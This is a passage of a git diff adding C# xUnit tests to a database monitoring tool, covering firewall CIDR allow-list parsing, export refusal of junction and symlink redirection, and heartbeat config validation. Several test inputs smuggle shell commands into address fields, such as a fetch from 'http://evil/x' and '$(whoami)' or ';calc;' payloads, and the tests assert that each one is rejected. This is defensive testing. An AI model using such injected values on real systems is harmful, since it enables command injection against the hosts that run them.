+    /// password piped in, the call captured with <c>2&gt;&amp;1</c>, <c>$ErrorActionPreference = 'Stop'</c>.
+    /// Any stderr line becomes a terminating error, so the script never reaches its last line.
+    /// </summary>
+    [Fact]
+    public async Task EncryptPassword_UnderWindowsPowerShell51_WithStopAndMergedStreams_Succeeds()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
+
+        var exe = ServiceExePath();
+        Assert.True(File.Exists(exe), $"The service build output was not found at {exe}.");
+
+        var script = new StringBuilder();
+        script.AppendLine("$ErrorActionPreference = 'Stop'");
+        script.AppendLine($"$blob = '{DummyInput}' | & '{exe}' --encrypt-password 2>&1");
+        script.AppendLine("if ($LASTEXITCODE -ne 0) { throw \"exit code $LASTEXITCODE\" }");
+        script.AppendLine("Write-Output \"BLOB=$blob\"");
+
+        var path = Path.Combine(Path.GetTempPath(), $"darling-5413-{Guid.NewGuid():N}.ps1");
+        File.WriteAllText(path, script.ToString());
+        try
+        {
+            using var process = Process.Start(new ProcessStartInfo("powershell.exe", $"-NoProfile -ExecutionPolicy Bypass -File \"{path}\"")
+            {
+                RedirectStandardOutput = true,
+                RedirectStandardError = true,
+                UseShellExecute = false,
+                CreateNoWindow = true,
+            });
+            Assert.NotNull(process);
+
+            var stdoutTask = process!.StandardOutput.ReadToEndAsync();
+            var stderrTask = process.StandardError.ReadToEndAsync();
+            Assert.True(process.WaitForExit(PowerShellExitLimit), $"powershell.exe did not exit within {PowerShellExitLimit.TotalSeconds:0} seconds.");
+            var stdout = await stdoutTask;
+            var stderr = await stderrTask;
+
+            Assert.True(string.IsNullOrWhiteSpace(stderr), $"The script stopped on an error record:\n{stderr}");
+            Assert.Equal(0, process.ExitCode);
+            Assert.Contains("BLOB=AQAAA", stdout, StringComparison.Ordinal);
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingEndpointToggleCliTests.cs b/Darling/Darling.Tests/DarlingEndpointToggleCliTests.cs
index 070afc56fa..248f69ae5d 100644
--- a/Darling/Darling.Tests/DarlingEndpointToggleCliTests.cs
+++ b/Darling/Darling.Tests/DarlingEndpointToggleCliTests.cs
@@ -302,7 +302,6 @@ public void ClassifyAllowFrom_TreatsBlankAsMissing_NotInvalid(string? allowFrom)
     [InlineData("192.168.1.0/24 | Out-Null; Invoke-WebRequest http://evil/x")]
     [InlineData("$(whoami)")]
     [InlineData("Any")]                                                          // a real New-NetFirewallRule keyword — still not a CIDR
-    [InlineData("192.168.1.0/24,10.0.0.0/8")]                                    // one CIDR only
     [InlineData("192.168.1.5")]                                                  // a bare address, no prefix
     [InlineData("192.168.1.0/33")]                                               // prefix longer than the family allows
     [InlineData("not-a-cidr")]
@@ -315,6 +314,80 @@ building a command from a partially-parsed value. */
         Assert.Equal("", cidr);
     }
 
+    /* ---------------- #5288: allowFrom is a CIDR LIST, parsed by the one CidrAllowList parser ----------------
+       The comma list that the single-CIDR pin above used to refuse ("one CIDR only") is now VALID, and it comes
+       back as the parser's canonical text: masked host bits, duplicates dropped, comma-joined, no spaces. */
+
+    [Theory]
+    [InlineData("192.168.1.0/24,10.0.0.0/8", "192.168.1.0/24,10.0.0.0/8")]
+    [InlineData(" 10.8.0.0/16 , 192.168.1.5/24 ", "10.8.0.0/16,192.168.1.0/24")]   // trimmed, host bits masked
+    [InlineData("10.0.0.0/8,10.0.0.0/8", "10.0.0.0/8")]                            // duplicates dropped
+    [InlineData("10.0.0.0/8,2001:db8::/32", "10.0.0.0/8,2001:db8::/32")]           // the family rule is the bind ladder's, not this gate's
+    public void ClassifyAllowFrom_List_IsValidCanonical(string allowFrom, string expected)
+    {
+        Assert.Equal(DarlingCliCommands.EndpointAllowFromVerdict.Valid, DarlingCliCommands.ClassifyAllowFrom(allowFrom, out var cidr));
+        Assert.Equal(expected, cidr);
+
+        /* Every element that reaches the command is parser output: it re-parses to itself and carries no metacharacter. */
+        foreach (var element in cidr.Split(','))
+        {
+            Assert.True(IPNetwork.TryParse(element, out var reparsed));
+            Assert.Equal(element, reparsed.ToString());
+            foreach (var metacharacter in new[] { ";", "'", "|", "$", "`", " ", "\n", "&" })
+            {
+                Assert.DoesNotContain(metacharacter, element, StringComparison.Ordinal);
+            }
+        }
+    }
+
+    [Theory]
+    [InlineData("10.8.0.0/16,not-a-cidr")]
+    [InlineData("10.8.0.0/16,")]                                   // trailing comma: an empty entry is refused, not skipped
+    [InlineData(",10.8.0.0/16")]
+    [InlineData("10.8.0.0/16,,192.168.1.0/24")]
+    [InlineData("10.8.0.0/16, ,192.168.1.0/24")]
+    [InlineData(",")]
+    [InlineData("10.8.0.0/16;whoami,192.168.1.0/24")]
+    [InlineData("10.8.0.0/16,192.168.1.5")]                        // a bare address, no prefix
+    [InlineData("10.8.0.0/16,$(whoami)")]
+    [InlineData("10.8.0.0/16,'; whoami; '")]
+    [InlineData("::ffff:10.0.0.0/104,10.0.0.0/8")]                 // an IPv4-mapped entry can never match: refused
+    public void ClassifyAllowFrom_ListWithBadEntry_IsInvalid(string allowFrom)
+    {
+        Assert.Equal(DarlingCliCommands.EndpointAllowFromVerdict.Invalid, DarlingCliCommands.ClassifyAllowFrom(allowFrom, out var cidr));
+
+        /* One bad entry refuses the WHOLE list and hands back nothing usable: no command is built from the good half. */
+        Assert.Equal("", cidr);
+    }
+
+    [Theory]
+    [InlineData("010.0.0.0/8")]                                    // a leading zero reads as octal: a different range
+    [InlineData("192.168.010.0/24")]
+    [InlineData("10/8")]                                           // short forms are zero-padded
+    [InlineData("10.1/16")]
+    [InlineData("0x0A.0.0.0/8")]                                   // 0x reads as hex
+    [InlineData("1.2.3.04/32")]
+    [InlineData("10.8.0.0/16,192.168.010.0/24")]                   // refused wherever it sits in the list
+    [InlineData("010.0.0.0/8,10.8.0.0/16")]
+    public void ClassifyAllowFrom_NonCanonicalIPv4_IsInvalid(string allowFrom)
+    {
+        Assert.Equal(DarlingCliCommands.EndpointAllowFromVerdict.Invalid, DarlingCliCommands.ClassifyAllowFrom(allowFrom, out var cidr));
+
+        /* Nothing usable comes back: the toggle never builds a firewall command for a range it would have
+           read as a different one. */
+        Assert.Equal("", cidr);
+    }
+
+    [Theory]
+    [InlineData("fe80::1%5/64")]
+    [InlineData("fe80::1%x';calc;'/64")]
+    [InlineData("10.8.0.0/16,fe80::1%5/64")]
+    public void ClassifyAllowFrom_IPv6ZoneIndex_IsInvalid(string allowFrom)
+    {
+        Assert.Equal(DarlingCliCommands.EndpointAllowFromVerdict.Invalid, DarlingCliCommands.ClassifyAllowFrom(allowFrom, out var cidr));
+        Assert.Equal("", cidr);
+    }
+
     /// <summary>
     /// The property that actually matters: for any allowFrom the verdict accepts, the string handed to the
     /// command builder is the PARSER'S output, so it re-parses and cannot carry shell metacharacters. This is
diff --git a/Darling/Darling.Tests/DarlingEventBaselineCoverageReadPlanShapeLiveTests.cs b/Darling/Darling.Tests/DarlingEventBaselineCoverageReadPlanShapeLiveTests.cs
index 3274cbdd13..a7da154edd 100644
--- a/Darling/Darling.Tests/DarlingEventBaselineCoverageReadPlanShapeLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingEventBaselineCoverageReadPlanShapeLiveTests.cs
@@ -30,7 +30,9 @@ namespace Darling.Tests;
 /// same statement without the gate is the control: its log scans do run.</para>
 ///
 /// <para>(b) A server with events reads only its own segment of a compressed chunk. The log is compressed segmented by
-/// <c>server_id</c>, so the <c>server_id = $1</c> condition has to reach the scan of the compressed chunk itself (the
+/// <c>server_id</c> (and, since #4951, by <c>collector_name</c> as well; <c>CollectionLogSegmentByLiveTests</c> pins that
+/// the collector condition reaches the same scan, through this class's plan helpers), so the <c>server_id = $1</c>
+/// condition has to reach the scan of the compressed chunk itself (the
 /// <c>_hyper_N_M_chunk_compressed</c> relation on a fresh store, the old <c>compress_hyper_N_M_chunk</c> one on an
 /// upgraded store), not be applied to rows already decompressed for every server.</para>
 ///
@@ -49,10 +51,11 @@ public sealed class DarlingEventBaselineCoverageReadPlanShapeLiveTests
     /// <summary>Well below any id the generator hands out, so a seeded row can never collide with a real one.</summary>
     private const long LogIdBase = -473_100_000_000L;
 
-    private static readonly DateTime AnalysisTime = new(2026, 3, 4, 14, 0, 0, DateTimeKind.Unspecified);
+    /// <summary>The analysis hour <see cref="ExplainAsync"/> reads the window at; a class that reuses it seeds around this.</summary>
+    internal static readonly DateTime AnalysisTime = new(2026, 3, 4, 14, 0, 0, DateTimeKind.Unspecified);
 
     /// <summary>Inside the window, on the busy server only.</summary>
-    private static readonly DateTime EventTime = new(2026, 2, 8, 9, 10, 0, DateTimeKind.Unspecified);
+    internal static readonly DateTime EventTime = new(2026, 2, 8, 9, 10, 0, DateTimeKind.Unspecified);
 
     [Fact]
     public async Task TheBlockingArm_NeverReadsTheLogForAServerWithoutEvents_AndKeepsTheServerFilterOnTheCompressedScan()
@@ -168,7 +171,7 @@ private static bool IsLogRelation(string relation) =>
 
     /// <summary>A chunk's compressed relation: <c>_hyper_N_M_chunk_compressed</c> on a fresh 2.30.1 store, the old
     /// <c>compress_hyper_N_M_chunk</c> name on an upgraded one (see <c>StoreSelfMetrics</c>).</summary>
-    private static bool IsCompressedRelation(string relation) =>
+    internal static bool IsCompressedRelation(string relation) =>
         relation.StartsWith("compress_hyper_", StringComparison.Ordinal)
         || relation.EndsWith("_chunk_compressed", StringComparison.Ordinal);
 
@@ -176,7 +179,7 @@ private static bool IsCompressedRelation(string relation) =>
     private static double Loops(JsonElement node) => node.GetProperty("Actual Loops").GetDouble();
 
     /// <summary>The node's own conditions and its descendants' (a bitmap scan carries its index condition one node down).</summary>
-    private static string Conditions(JsonElement node)
+    internal static string Conditions(JsonElement node)
     {
         var text = new List<string>();
 
@@ -204,7 +207,7 @@ void Collect(JsonElement current)
     }
 
     /// <summary>The statement as the provider runs it: the six bound parameters of an unkeyed arm, over the day-grain window.</summary>
-    private static async Task<JsonElement> ExplainAsync(NpgsqlConnection connection, string sql, int serverId, CancellationToken ct)
+    internal static async Task<JsonElement> ExplainAsync(NpgsqlConnection connection, string sql, int serverId, CancellationToken ct)
     {
         var windowEnd = PgBaselineProvider.RoundedDay(AnalysisTime);
         var windowStart = windowEnd.AddDays(-BaselineMath.BaselineWindowDays);
diff --git a/Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs b/Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs
index 05c3371e25..221d379cc8 100644
--- a/Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs
+++ b/Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs
@@ -32,6 +32,7 @@ namespace Darling.Tests;
 /// filter, the collector names or the covered-day divisor. The behaviour itself is proved live in
 /// <see cref="DarlingEventBaselineCoveredDaysLiveTests"/> (and in Lite's <c>EventBaselineCoveredDaysTests</c> over DuckDB).
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingEventBaselineCoveredDaysTests
 {
     /// <summary>The compiled arm text with its line endings normalized, so a multi-line anchor matches on any checkout.</summary>
@@ -258,6 +259,7 @@ public void TheTwoProducts_CarryTheSameEventBaselineBody_AndTheSameCollectors()
 /// 14:00: Feb 3, 10, 17, 24 and Mar 3 make five covered days.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingEventBaselineCoveredDaysLiveTests
 {
     private const int Tuesday = (int)DayOfWeek.Tuesday;
diff --git a/Darling/Darling.Tests/DarlingExportViewerConfigTests.cs b/Darling/Darling.Tests/DarlingExportViewerConfigTests.cs
index 53b6fcfe25..820a88cdf4 100644
--- a/Darling/Darling.Tests/DarlingExportViewerConfigTests.cs
+++ b/Darling/Darling.Tests/DarlingExportViewerConfigTests.cs
@@ -781,12 +781,14 @@ public async Task ExportViewerConfigAsync_SymlinkAtTheCertificatePath_RefusesWit
             catch (Exception ex)
             {
                 Assert.Skip($"cannot create a symlink on this machine ({ex.Message}) - needs Developer Mode or elevation");
-                return;
             }
 
             Assert.True(
                 File.GetAttributes(linkPath).HasFlag(FileAttributes.ReparsePoint),
                 "precondition: the planted path is a reparse point");
+            Assert.Equal(
+                Path.GetFullPath(redirected),
+                Path.GetFullPath(File.ResolveLinkTarget(linkPath, returnFinalTarget: true)!.FullName));
 
             var output = new StringWriter();
             var error = new StringWriter();
@@ -806,6 +808,104 @@ public async Task ExportViewerConfigAsync_SymlinkAtTheCertificatePath_RefusesWit
         }
     }
 
+    /// <summary>
+    /// A directory JUNCTION needs no privilege to create on Windows, so unlike the symlink case this one
+    /// cannot skip for want of a right: it is the redirection an ordinary local user can always plant. Two
+    /// shapes, both refused with nothing written through them: the junction IS the destination folder, and
+    /// the junction sits where server.crt would be written.
+    /// </summary>
+    [Fact]
+    public async Task ExportViewerConfigAsync_JunctionAtTheDestinationOrTheCertificatePath_RefusesWithoutWritingThrough()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
+
+        var root = Directory.CreateTempSubdirectory("darling-export-junction-");
+        try
+        {
+            var dataDirectory = Path.Combine(root.FullName, "pg");
+            var configPath = Path.Combine(root.FullName, "darling.json");
+            await File.WriteAllTextAsync(configPath, ManagedConfigJson(dataDirectory));
+
+            /* Shape 1: the destination folder is a junction to a real folder elsewhere. */
+            var realFolder = Path.Combine(root.FullName, "elsewhere");
+            Directory.CreateDirectory(realFolder);
+            var junctionDestination = Path.Combine(root.FullName, "handoff-junction");
+            CreateJunction(junctionDestination, realFolder);
+
+            var output = new StringWriter();
+            var error = new StringWriter();
+            var exit = await DarlingCliCommands.ExportViewerConfigAsync(
+                configPath, junctionDestination, output, error, CancellationToken.None);
+
+            Assert.Equal(1, exit);
+            Assert.Contains("junction", error.ToString(), StringComparison.Ordinal);
+            Assert.Equal("", output.ToString());
+            Assert.Empty(Directory.GetFileSystemEntries(realFolder));
+
+            /* Shape 2: a real destination whose server.crt is a junction to a real folder. */
+            var destination = Path.Combine(root.FullName, "handoff");
+            Directory.CreateDirectory(destination);
+            var certJunction = Path.Combine(destination, "server.crt");
+            var certTarget = Path.Combine(root.FullName, "elsewhere-cert");
+            Directory.CreateDirectory(certTarget);
+            CreateJunction(certJunction, certTarget);
+
+            output = new StringWriter();
+            error = new StringWriter();
+            exit = await DarlingCliCommands.ExportViewerConfigAsync(
+                configPath, destination, output, error, CancellationToken.None);
+
+            Assert.Equal(1, exit);
+            Assert.Contains("symbolic link", error.ToString(), StringComparison.Ordinal);
+            Assert.Equal("", output.ToString());
+            Assert.Empty(Directory.GetFileSystemEntries(certTarget));
+        }
+        finally
+        {
+            /* A junction is removed as a link (non-recursive); a recursive delete would not follow it either,
+               but removing them first leaves no doubt the real folders are not walked. */
+            foreach (var junction in new[] { "handoff-junction", Path.Combine("handoff", "server.crt") })
+            {
+                var path = Path.Combine(root.FullName, junction);
+                if (Directory.Exists(path))
+                {
+                    Directory.Delete(path, recursive: false);
+                }
+            }
+
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>Creates a directory junction with <c>mklink /J</c>, which needs no special privilege, and proves
+    /// it exists and resolves to the target before the caller asserts anything about the product.</summary>
+    private static void CreateJunction(string junctionPath, string targetPath)
+    {
+        var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe")
+        {
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("/c");
+        psi.ArgumentList.Add("mklink");
+        psi.ArgumentList.Add("/J");
+        psi.ArgumentList.Add(junctionPath);
+        psi.ArgumentList.Add(targetPath);
+        using var proc = System.Diagnostics.Process.Start(psi)!;
+        var stderr = proc.StandardError.ReadToEnd();
+        proc.WaitForExit();
+        Assert.True(proc.ExitCode == 0, $"precondition: mklink /J failed ({stderr})");
+
+        Assert.True(
+            new DirectoryInfo(junctionPath).Attributes.HasFlag(FileAttributes.ReparsePoint),
+            "precondition: the junction is a reparse point");
+        Assert.Equal(
+            Path.GetFullPath(targetPath).TrimEnd(Path.DirectorySeparatorChar),
+            Path.GetFullPath(Directory.ResolveLinkTarget(junctionPath, returnFinalTarget: true)!.FullName)
+                .TrimEnd(Path.DirectorySeparatorChar));
+    }
+
     /// <summary>
     /// #1973 — a failure PART-WAY through the export sweeps all three files, not only the secret-bearing one,
     /// and names whatever it could not remove. The failure is forced where it actually bites: after
diff --git a/Darling/Darling.Tests/DarlingFirewallCheckTests.cs b/Darling/Darling.Tests/DarlingFirewallCheckTests.cs
index 35d35bc06d..ee440a5d4a 100644
--- a/Darling/Darling.Tests/DarlingFirewallCheckTests.cs
+++ b/Darling/Darling.Tests/DarlingFirewallCheckTests.cs
@@ -143,6 +143,61 @@ drift into being different rules. */
             remedy);
     }
 
+    /* ---- #5288: allowFrom is a CIDR LIST; the builder quotes each range on its own ---- */
+
+    [Fact]
+    public void BuildFirewallEnableCommand_List_QuotesEachRange()
+    {
+        const string ruleName = "PerformanceMonitor Darling MCP (port 5152)";
+
+        /* Exact text: one single-quoted literal per range, joined by "," with no spaces (PowerShell array syntax).
+           Quoting only the first range, or a bare comma list inside one literal, would change this string. */
+        Assert.Equal(
+            $"Remove-NetFirewallRule -DisplayName '{ruleName}' -ErrorAction SilentlyContinue; " +
+            $"New-NetFirewallRule -DisplayName '{ruleName}' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 5152 -RemoteAddress '10.8.0.0/16','192.168.1.5/32' | Out-Null",
+            DarlingManagedPostgres.BuildFirewallEnableCommand(ruleName, 5152, "10.8.0.0/16,192.168.1.5/32"));
+
+        Assert.Contains(
+            "-RemoteAddress '10.8.0.0/16','192.168.1.0/24','2001:db8::/32' |",
+            DarlingManagedPostgres.BuildFirewallEnableCommand(ruleName, 5152, "10.8.0.0/16,192.168.1.0/24,2001:db8::/32"),
+            StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("10.0.0.0/8,x'; whoami; '")]
+    [InlineData("10.0.0.0/8,10.8.0.0/16’; whoami; ’")]
+    public void BuildFirewallEnableCommand_List_RefusesAnElementThatIsNotAnAddressAndPrefix(string remoteCidr)
+    {
+        /* The caller-side parse is the primary gate; this is the second layer, and it holds per element: one
+           element holding a character outside an address and prefix length (0-9, A-F, ':', '.', '/') refuses the
+           whole list, so nothing but address-shaped elements is ever quoted into the command. */
+        Assert.Throws<ArgumentException>(
+            () => DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, remoteCidr));
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData(",")]
+    [InlineData("10.8.0.0/16,")]
+    [InlineData(",10.8.0.0/16")]
+    [InlineData("10.8.0.0/16,,192.168.1.5/32")]
+    [InlineData("10.8.0.0/16, ,192.168.1.5/32")]
+    public void BuildFirewallEnableCommand_EmptyElement_Throws_RatherThanEmittingEmptyQuotes(string remoteCidr)
+        => Assert.Throws<ArgumentException>(
+            () => DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, remoteCidr));
+
+    [Fact]
+    public void BuildRemedyCommand_ForAMissingRule_WithAList_IsTheBuildersText()
+    {
+        const string rule = "PerformanceMonitor Darling MCP (port 5152)";
+        var remedy = DarlingFirewallCheck.BuildRemedyCommand(
+            FirewallRuleVerdict.ExposedRuleMissing, rule, 5152, "10.8.0.0/16,192.168.1.0/24");
+
+        Assert.Equal(DarlingManagedPostgres.BuildFirewallEnableCommand(rule, 5152, "10.8.0.0/16,192.168.1.0/24"), remedy);
+        Assert.Contains("-RemoteAddress '10.8.0.0/16','192.168.1.0/24' |", remedy, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void BuildRemedyCommand_ForAStaleRule_RemovesOnly()
     {
diff --git a/Darling/Darling.Tests/DarlingFleetReaderTests.cs b/Darling/Darling.Tests/DarlingFleetReaderTests.cs
index 0c0edfbbfd..bd31181e1c 100644
--- a/Darling/Darling.Tests/DarlingFleetReaderTests.cs
+++ b/Darling/Darling.Tests/DarlingFleetReaderTests.cs
@@ -634,14 +634,49 @@ public void ThePostgresDeadlockRead_DifferencesTheCounterPerDatabaseSeries_AndNe
         var sql = DarlingFleetReader.FleetPgDeadlockSql;
 
         Assert.Contains("FROM pg_database_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time)", sql, StringComparison.Ordinal);
-        Assert.Contains("SUM(GREATEST(raw_delta, 0))", sql, StringComparison.Ordinal);
-        Assert.Contains("MAX(collection_time) FILTER (WHERE raw_delta > 0)", sql, StringComparison.Ordinal);
+        /* Only the pairs that moved are ordered (#5526): the LAG partitions by database inside a
+           server_id = s.server_id filter, which is the old (server_id, database_name) series, and the previous
+           single window over the whole fleet's rows must not come back. */
+        Assert.Contains("deadlocks - LAG(deadlocks) OVER (PARTITION BY database_name ORDER BY collection_time)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("PARTITION BY server_id", sql, StringComparison.Ordinal);
+        Assert.Equal(1, CountOf(sql, "OVER ("));
+        /* The unordered aggregate that decides which pairs need the ordered pass, and the exact flat rule: a
+           counter in EVERY row (so a NULL sends the pair to the ordered pass) that never moves (min = max). */
+        Assert.Contains("WITH pairs AS", sql, StringComparison.Ordinal);
+        Assert.Contains("(count(deadlocks) = count(*) AND min(deadlocks) = max(deadlocks)) AS flat", sql, StringComparison.Ordinal);
+        /* A flat pair of n samples has n - 1 differences, all zero: n - 1 intervals, nothing else. */
+        Assert.Contains("SUM(n - 1) FILTER (WHERE flat)", sql, StringComparison.Ordinal);
+        Assert.Contains("s.flat_intervals + d.intervals AS intervals", sql, StringComparison.Ordinal);
+        /* The ordered read keeps only the pairs that are not flat: by name, and the NULL-named shared-relation
+           series by IS NULL because = ANY never matches NULL. */
+        Assert.Contains("FILTER (WHERE NOT flat AND database_name IS NOT NULL)", sql, StringComparison.Ordinal);
+        Assert.Contains("database_name = ANY (s.ordered_names) OR (s.ordered_null_name AND database_name IS NULL)", sql, StringComparison.Ordinal);
+        /* The server list is not named for the registry table it must not be mistaken for. */
+        Assert.Contains("window_servers AS", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("WITH servers AS", sql, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN LATERAL", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   server_id = s.server_id", sql, StringComparison.Ordinal);
+        /* The one-time gate: a server with no ordered pair (every pair flat) must skip the per-server read
+           entirely. Dropping it changes no answer, so the live test cannot see it. */
+        Assert.Contains("WHERE (cardinality(s.ordered_names) > 0 OR s.ordered_null_name)", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(GREATEST(sampled.raw_delta, 0))", sql, StringComparison.Ordinal);
+        Assert.Contains("MAX(sampled.collection_time) FILTER (WHERE sampled.raw_delta > 0)", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("SUM(deadlocks)", sql, StringComparison.Ordinal);
-        /* Windowed on the partitioning column, both bounds, like the SQL Server twin. */
-        Assert.Contains("collection_time >= $1", sql, StringComparison.Ordinal);
-        Assert.Contains("collection_time <= $2", sql, StringComparison.Ordinal);
-        Assert.Contains("GROUP BY server_id", sql, StringComparison.Ordinal);
+        /* Windowed on the partitioning column, both bounds, like the SQL Server twin - in the pair aggregate AND
+           in the per-server read, so each opens only the window's chunks. */
+        Assert.Equal(2, CountOf(sql, "collection_time >= $1"));
+        Assert.Equal(2, CountOf(sql, "collection_time <= $2"));
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
     }
 
     /// <summary>
@@ -772,7 +807,7 @@ public async Task GetFleetOverview_ServerWithNoCollectionHistory_ReadsAwaitingFi
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
 
             /* Registered, but no collection_log row is ever inserted for this server_id. */
             await InsertServerAsync(connection, NoHistoryServerId, NoHistoryName, 3, ct);
@@ -813,7 +848,7 @@ public async Task GetFleetOverview_PerServerFallbackAndBanding_AgainstDevPostgre
         var bodySucceeded = false;
         try
         {
-            var now = DateTime.UtcNow;
+            var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
             var at = now.AddMinutes(-5);   // inside the [now-1h, now] card window
 
             /* Plant representative editions so the read-through card platform can be asserted end-to-end:
diff --git a/Darling/Darling.Tests/DarlingHeartbeatTests.cs b/Darling/Darling.Tests/DarlingHeartbeatTests.cs
new file mode 100644
index 0000000000..463bd877d2
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingHeartbeatTests.cs
@@ -0,0 +1,886 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5450 proposal 2: the outbound heartbeat. The config block (file-only, off by default, fatal validation, env:/file:
+/// references), the ping decision, the HTTP behavior against a local stub, the failure-log throttle, and the rule that
+/// the URL (a secret) never reaches a log line or a validation problem.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. The live test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it. */
+[Collection("gap-cache-serial")]
+public sealed class DarlingHeartbeatTests
+{
+    private static readonly CancellationToken Ct = TestContext.Current.CancellationToken;
+    private static readonly DateTime Now = new(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+    private const string Token = "SECRET-TOKEN-5450";
+
+    /* ───────────────────────── config ───────────────────────── */
+
+    [Fact]
+    public void AbsentBlock_IsOff_WithTheDefaultInterval()
+    {
+        var config = DarlingConfig.Parse("{}");
+        Assert.False(config.Heartbeat.IsConfigured);
+        Assert.Equal(300, config.Heartbeat.IntervalSeconds);
+        Assert.Empty(HeartbeatConfig.Validate(config.Heartbeat));
+    }
+
+    [Theory]
+    [InlineData("{\"heartbeat\":{}}")]
+    [InlineData("{\"heartbeat\":{\"url\":\"\"}}")]
+    [InlineData("{\"heartbeat\":{\"url\":null}}")]
+    [InlineData("{\"heartbeat\":{\"url\":\"   \"}}")]
+    public void EmptyOrNullUrl_IsOff_AndValid(string json)
+    {
+        var config = DarlingConfig.Parse(json);
+        Assert.False(config.Heartbeat.IsConfigured);
+        Assert.Empty(HeartbeatConfig.Validate(config.Heartbeat));
+    }
+
+    [Theory]
+    [InlineData("ftp://hc-ping.example/your-check-id")]
+    [InlineData("/relative/path")]
+    [InlineData("hc-ping.example/your-check-id")]
+    [InlineData("not a url")]
+    [InlineData("https://")]
+    [InlineData("https://user:pass@hc-ping.example/your-check-id")]
+    public void BadScheme_Relative_OrMalformedUrl_IsFatal_AndTheProblemNeverEchoesIt(string url)
+    {
+        var heartbeat = new HeartbeatConfig { Url = url };
+        var problems = HeartbeatConfig.Validate(heartbeat);
+        Assert.NotEmpty(problems);
+        Assert.All(problems, p => Assert.DoesNotContain(url.Trim(), p, StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void HttpAndHttpsUrls_AreValid()
+    {
+        Assert.Empty(HeartbeatConfig.Validate(new HeartbeatConfig { Url = "https://hc-ping.example/your-check-id" }));
+        Assert.Empty(HeartbeatConfig.Validate(new HeartbeatConfig { Url = "http://hc-ping.example:8080/ping/" + Token }));
+    }
+
+    [Theory]
+    [InlineData(59, false)]
+    [InlineData(60, true)]
+    [InlineData(300, true)]
+    [InlineData(3600, true)]
+    [InlineData(3601, false)]
+    [InlineData(0, false)]
+    [InlineData(-5, false)]
+    public void IntervalRange_IsSixtyToThirtySixHundred(int seconds, bool valid)
+    {
+        var problems = HeartbeatConfig.Validate(new HeartbeatConfig { Url = "https://hc-ping.example/x", IntervalSeconds = seconds });
+        Assert.Equal(valid, problems.Count == 0);
+        if (!valid)
+        {
+            Assert.Contains(problems, p => p.Contains("heartbeat.intervalSeconds", StringComparison.Ordinal));
+        }
+    }
+
+    [Fact]
+    public void ABadBlock_SurfacesThroughTheWholeConfigValidate_EvenWithNoServers()
+    {
+        var config = new DarlingConfig
+        {
+            Postgres = new PostgresConfig { ConnectionString = "Host=localhost;Database=darling" },
+            Heartbeat = new HeartbeatConfig { Url = "ftp://x.example/" + Token, IntervalSeconds = 5 },
+        };
+
+        var problems = config.Validate();
+        Assert.Contains(problems, p => p.Contains("heartbeat.url", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.Contains("heartbeat.intervalSeconds", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.Contains("servers must contain at least one entry", StringComparison.Ordinal));
+        Assert.DoesNotContain(problems, p => p.Contains(Token, StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("env:")]
+    [InlineData("env:   ")]
+    [InlineData("env:BAD NAME")]
+    [InlineData("env:A=B")]
+    [InlineData("file:")]
+    [InlineData("file:relative/secret-path-5450.txt")]
+    public void MalformedReference_IsFatal_WithFixedText(string url)
+    {
+        var problems = HeartbeatConfig.Validate(new HeartbeatConfig { Url = url });
+        var problem = Assert.Single(problems);
